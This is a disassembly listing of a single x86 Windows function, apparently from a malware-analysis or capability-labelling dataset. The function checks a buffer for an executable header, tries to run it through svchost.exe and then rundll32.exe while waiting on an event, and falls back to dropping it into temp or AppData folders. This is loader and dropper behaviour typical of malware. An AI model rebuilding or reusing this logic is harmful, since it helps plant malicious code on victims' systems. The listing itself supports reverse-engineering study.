Function at 0x10015e00
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
sub esp, 0x42c
mov eax, dword [0x100812a0]
xor eax, esp
mov dword [esp + 0x424], eax
push ebx
push ebp
push esi
mov ebx, edx
lea eax, [ebx + 0x4c]
push edi
mov esi, ecx
push eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], eax
call fcn.10020596
add esp, 4
mov ebp, eax
push ebx
lea eax, [ebp + 0x4c]
push esi
push eax
call fcn.10025550
xor ecx, ecx
add esp, 0xc
mov dword [esp + 0x10], 0
mov word [esp + 0x20], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
push 0x1f
xor esi, 0x73846273
push 0
lea edi, [ebp + 8]
push esi
call fcn.10017ea0
add esp, 0xc
xor edx, edx
push edi
push edx
push edx
mov word [ebp + eax*2 + 8], dx
push edx
mov dword [ebp + 4], esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esp + 0x14], eax
push 0x103
lea eax, [esp + 0x24]
push eax
mov dword [ebp], 0x4839013e
mov dword [ebp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edi, [esp + 0x20]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10015ea6
mov ebx, dword [esp + 0x1c]
mov ecx, 6
mov esi, str._svchost.exe
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x5a4d
movsw word es:[edi], word [esi]
cmp word [ebx], cx
jne 0x10015f06
mov ecx, dword [esp + 0x18]
push ebp
push ebx
lea edx, [esp + 0x28]
call fcn.10010280
add esp, 8
cmp eax, 0xffffffff
je 0x10015f06
mov edx, dword [esp + 0x14]
push 0x7d0
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10015f06
mov dword [esp + 0x10], 1
jmp 0x100160ff
push 0x103
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edi, [esp + 0x20]
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10015f20
mov ecx, 7
mov esi, str._rundll32.exe
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x5a4d
cmp word [ebx], cx
jne 0x10015f6d
mov ecx, dword [esp + 0x18]
push ebp
push ebx
lea edx, [esp + 0x28]
call fcn.10010280
add esp, 8
cmp eax, 0xffffffff
je 0x10015f6d
mov edx, dword [esp + 0x14]
push 0x7d0
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10015ef9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10020287
add esp, 4
lea edx, [esp + 0x228]
push edx
xor eax, eax
xor ecx, ecx
push 0x103
mov word [esp + 0x28], ax
mov word [esp + 0x230], cx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [esp + 0x20]
push eax
push 0
push 0
lea ecx, [esp + 0x234]
push ecx
call esi
mov edx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x24]
push ebp
push eax
mov eax, ebx
call fcn.10010110
add esp, 0xc
cmp eax, 0xffffffff
je 0x10015ff4
mov ecx, dword [esp + 0x14]
push 0x7d0
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10015ff4
mov dword [esp + 0x10], 1
jmp 0x100160bb
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
push 0x1c
lea eax, [esp + 0x230]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x100160bb
lea edi, [esp + 0x228]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10016025
mov ecx, dword [0x1007eae4]
lea eax, [esp + 0x228]
mov dword [edi], ecx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10016043
sub eax, edx
sar eax, 1
lea ebx, [esp + eax*2 + 0x228]
call fcn.10020299
cdq
mov ecx, 0xa
idiv ecx
lea edi, [edx + 6]
call fcn.10017e60
lea edi, [esp + 0x228]
add edi, 0xfffffffe
jmp 0x10016080
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10016080
mov edx, dword [0x1007eae4]
push 0
lea eax, [esp + 0x22c]
push eax
mov dword [edi], edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
lea edx, [esp + 0x234]
push edx
call esi
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
push ebp
push ecx
mov eax, ebx
call fcn.10010110
add esp, 0xc
cmp eax, 0xffffffff
je 0x100160ed
mov edx, dword [esp + 0x14]
push 0x7d0
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10015ef9
cmp dword [esp + 0x10], 0
jne 0x100160ff
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call fcn.100201f7
mov ecx, dword [esp + 0x438]
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100201e8
add esp, 0x42c
ret